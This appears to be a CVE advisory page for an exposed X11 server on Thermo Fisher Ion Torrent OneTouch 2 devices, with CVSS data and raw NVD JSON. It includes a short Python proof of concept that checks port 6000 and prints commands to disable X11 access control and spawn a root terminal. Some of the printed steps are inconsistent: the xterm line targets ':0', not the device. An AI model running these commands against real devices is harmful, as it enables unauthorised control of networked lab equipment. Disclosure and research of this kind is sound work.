Security Vulnerability Report
中文
CVE-2025-54304 CVSS 9.8 CRITICAL

CVE-2025-54304

Published: 2025-12-04 15:15:59
Last Modified: 2025-12-16 18:54:15

Description

An issue was discovered on Thermo Fisher Ion Torrent OneTouch 2 INS1005527 devices. When they are powered on, an X11 display server is started. The display server listens on all network interfaces and is accessible over port 6000. The X11 access control list, by default, allows connections from 127.0.0.1 and 192.168.2.15. If a device is powered on and later connected to a network with DHCP, the device may not be assigned the 192.168.2.15 IP address, leaving the display server accessible by other devices on the network. The exposed X11 display server can then be used to gain root privileges and the ability to execute code remotely by interacting with matchbox-desktop and spawning a terminal. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:thermofisher:ion_torrent_onetouch_2_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:thermofisher:ion_torrent_onetouch_2:-:*:*:*:*:*:*:* - NOT VULNERABLE
Thermo Fisher Ion Torrent OneTouch 2 INS1005527 (所有版本)
Torrent Suite Software (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54304 PoC - Thermo Fisher Ion Torrent OneTouch 2 X11 Unauthenticated Access Usage: python3 cve-2025-54304.py <target_ip> """ import socket import sys def check_x11_open(target_ip, port=6000): """Check if X11 server is accessible on target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_ip, port)) sock.close() return result == 0 except Exception as e: print(f"[-] Connection error: {e}") return False def x11_exploit(target_ip, port=6000): """ Exploit X11 to gain shell access via matchbox-desktop Requires: xdotool, xterm (or similar tools) """ print(f"[*] Target: {target_ip}:{port}") print(f"[*] Checking X11 accessibility...") if not check_x11_open(target_ip, port): print("[-] X11 port is not accessible") return False print("[+] X11 server is exposed!") print("[*] To exploit, use the following commands:") print(f" export DISPLAY={target_ip}:0") print(" # Disable access control") print(" xhost +") print(" # Spawn a root terminal via matchbox-desktop") print(" xterm -display :0 -bg black -fg white &") print(" # Or execute commands directly") print(" xdotool key super+alt+t # Open terminal") return True if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] x11_exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54304", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:58.773", "lastModified": "2025-12-16T18:54:15.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered on Thermo Fisher Ion Torrent OneTouch 2 INS1005527 devices. When they are powered on, an X11 display server is started. The display server listens on all network interfaces and is accessible over port 6000. The X11 access control list, by default, allows connections from 127.0.0.1 and 192.168.2.15. If a device is powered on and later connected to a network with DHCP, the device may not be assigned the 192.168.2.15 IP address, leaving the display server accessible by other devices on the network. The exposed X11 display server can then be used to gain root privileges and the ability to execute code remotely by interacting with matchbox-desktop and spawning a terminal. NOTE: This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:thermofisher:ion_torrent_onetouch_2_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "3ADB7EF9-E6BF-468B-8B96-98C79409E924"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:thermofisher:ion_torrent_onetouch_2:-:*:*:*:*:*:*:*", "matchCriteriaId": "6CD40B87-870A-4B96-8864-4687DA5AB439"}]}]}], "references": [{"url": "https://assets.thermofisher.com/TFS-Assets/LSG/manuals/MAN0014388_IonOneTouch2Sys_UG.pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://documents.thermofisher.com/TFS-Assets/CORP/Product-Guides/Ion_OneTouch_2_and_Torrent_Suite_Software.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.thermofisher.com/order/catalog/product/4474779", "source": "[email protected]", "tags": ["Product"]}]}}